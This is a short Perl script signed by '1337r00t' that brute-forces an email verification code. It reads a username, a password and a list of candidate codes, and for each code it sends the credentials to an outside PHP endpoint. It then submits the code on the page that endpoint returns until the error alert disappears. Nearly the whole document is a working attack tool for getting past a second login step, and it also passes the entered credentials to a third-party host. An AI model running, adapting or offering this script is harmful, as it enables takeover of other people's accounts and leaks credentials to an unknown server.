sa

use LWP::Simple;
use WWW::Mechanize;
use LWP::UserAgent;
system('cls');
system('color 3');
print '
#####################################
Coded By 1337r00t
#####################################
...........................................................................
.%%%%....%%%%%%..%%%%%%..%%%%%%.......%%%%%%\...../%%%\..../%%%\....%%%%%%.
...%%........%%......%%.....(%/.......%%....%)...%:...:%..%:...:%.....%%...
...%%....%%%%%%..%%%%%%....(%/........%%%%)%.}...%:...:%..%:...:%.....%%...
...%%........%%......%%...(%/.........%%...\%)...%:...:%..%:...:%.....%%...
.%%%%%%..%%%%%%..%%%%%%..(%...........%%....\%)...\%%%/....\%%%/......%%...
...........................................................................
';
system('color 1e');
print qq(
Username => );
$user=<STDIN>;
chomp($user);
print qq(
Password => );
$pass=<STDIN>;
chomp($pass);
print qq(
Enter Codes File: [Ex:codex.txt]=> );
$list=<STDIN>;
chomp($list);
open (CODEFILE, "<$list") || die "[-] Can't Open The List Of Passwords !";
@LISTS = <CODEFILE>;
close CODEFILE;
foreach $C (@LISTS) {
chomp $C;
$data = get("http://vnovobr.ru/b.php?user=$user&pass=$pass");
$mech = WWW::Mechanize->new();
$mech->get($data);
$mech->click_button(value => "Verify by Email");
$mech->field(response_code => $C);
$mech->click();
if ($mech->content=~ /<p class="alert-red">/) {
    print "Not Him $C\n";
}
else {
    print "[ Him : $C ]";
    exit;
}}